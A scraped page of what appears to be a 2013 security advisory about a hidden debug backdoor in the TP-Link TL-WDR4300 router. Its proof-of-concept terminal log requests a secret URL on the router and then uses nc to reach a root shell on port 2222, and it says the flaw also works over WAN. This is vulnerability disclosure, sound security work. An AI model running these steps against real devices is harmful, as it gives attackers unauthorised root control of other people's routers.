TP-Link http/tftp backdoor

<h2> <span style="background-color: black; color: white;"> About the TP-Link Router<a href="http://sekurak.pl/wp-content/uploads/2013/03/tp-logo.jpg" rel="prettyPhoto[entry_gallery]"><img alt="tp-logo" class="size-full wp-image-2221 alignright" height="175" src="http://sekurak.pl/wp-content/uploads/2013/03/tp-logo.jpg" width="200" /></a></span></h2> <span style="background-color: black; color: white;">TP-Link TL-WDR4300 is a popular dual band WiFi, SOHO class router.</span><br /> <h2> <span style="background-color: black; color: white;"> Tested Firmware</span></h2> <span style="background-color: black; color: white;">We tested the remote root PoC on the newest firmware (published on 25.12.2012):</span><br /> <div class="wp-caption aligncenter" id="attachment_2174" style="width: 555px;"> <a href="http://sekurak.pl/wp-content/uploads/2013/03/firmware_version.png" rel="prettyPhoto[entry_gallery]"><span style="background-color: black; color: white;"><img alt="firmware" class="size-full wp-image-2174" height="139" src="http://sekurak.pl/wp-content/uploads/2013/03/firmware_version.png" width="545" /></span></a><br /> <div class="wp-caption-text"> <span style="background-color: black; color: white;">TL-WDR4300 – tested firmware version</span></div> </div> <span style="background-color: black; color: white;">The following info is provided for educational use only! We are also not resposible for any potential damages of the devices which are tested for this vulnerability.</span><br /> <div class="boxBlue"> <span style="background-color: black; color: white;">Update: more info about <a href="http://sekurak.pl/more-information-about-tp-link-backdoor/">the issues in the router is available here</a>.</span></div> <h2 id="poc"> <span style="background-color: black; color: white;"> Proof of Concept</span></h2> <span style="background-color: black; color: white;"><br /></span> <div class="boxBlue"> <span style="background-color: black; color: white;">Update2: it works on WAN port if http admin is open on WAN. Also, many (if not all) other TP-Link devices are affected!</span></div> <span style="background-color: black; color: white;"><br /></span> <div class="crayon-syntax crayon-theme-arduino-ide crayon-font-courier-new crayon-os-pc print-yes crayon-wrapped" data-settings=" minimize scroll-mouseover wrap" id="crayon-5260fe6c41f0e742116581" style="clear: both; float: none; font-size: 14px ! important; height: auto; line-height: 15px ! important; margin-bottom: 12px; margin-top: 12px; max-width: 610px;"> <div class="crayon-plain-wrap"> <textarea class="crayon-plain print-no" data-settings="dblclick" readonly="readonly" style="-moz-tab-size: 4; font-size: 14px ! important; line-height: 15px ! important; opacity: 0; overflow: hidden; z-index: 0;">root@secu:~# ls -l /srv/tftp/nart.out -rw-r--r-- 1 root root 871604 Mar 11 18:23 /srv/tftp/nart.out root@secu:~# nc 192.168.0.1 2222 (UNKNOWN) [192.168.0.1] 2222 (?) : Connection refused root@secu:~# wget http://192.168.0.1/userRpmNatDebugRpm26525557/start_art.html --2013-03-09 23:22:31-- http://192.168.0.1/userRpmNatDebugRpm26525557/start_art .html Connecting to 192.168.0.1:80... connected. HTTP request sent, awaiting response... 200 OK Length: unspecified [text/html] Saving to: "start_art.html" [ <=> ] 426 --.-K/s in 0s 2013-03-09 23:22:33 (49.1 MB/s) - "start_art.html" saved [426] root@secu:~# nc 192.168.0.1 2222 ps PID Uid VmSize Stat Command 1 root 404 S init 2 root SW< [kthreadd] 3 root SW< [ksoftirqd/0] 4 root SW< [events/0] 5 root SW< [khelper] 6 root SW< [async/mgr] 7 root SW< [kblockd/0] 8 root SW [pdflush] 9 root SW [pdflush] 10 root SW< [kswapd0] 17 root SW< [mtdblockd] 18 root SW< [unlzma/0] 71 root 2768 S /usr/bin/httpd 76 root 380 S /sbin/getty ttyS0 115200 78 root 208 S ipcserver 82 root 2768 S /usr/bin/httpd 83 root 2768 S /usr/bin/httpd 86 root 732 S ushare -d -x -f /tmp/ushare.conf 92 root 348 S syslogd -C -l 7 96 root 292 S klogd 101 root SW< [napt_ct_scan] 246 root 348 S /sbin/udhcpc -h TL-WDR4300 -i eth0.2 -p /tmp/wr841n/u 247 root 204 S /sbin/udhcpc -h TL-WDR4300 -i eth0.2 -p /tmp/wr841n/u 251 root 364 S /usr/sbin/udhcpd /tmp/wr841n/udhcpd.conf 286 root 2768 S /usr/bin/httpd 299 root 2768 S /usr/bin/httpd 300 root 2768 S /usr/bin/httpd 305 root 2768 S /usr/bin/httpd 307 root 2768 S /usr/bin/httpd 309 root 2768 S /usr/bin/httpd 310 root 2768 S /usr/bin/httpd 389 root 2768 S /usr/bin/httpd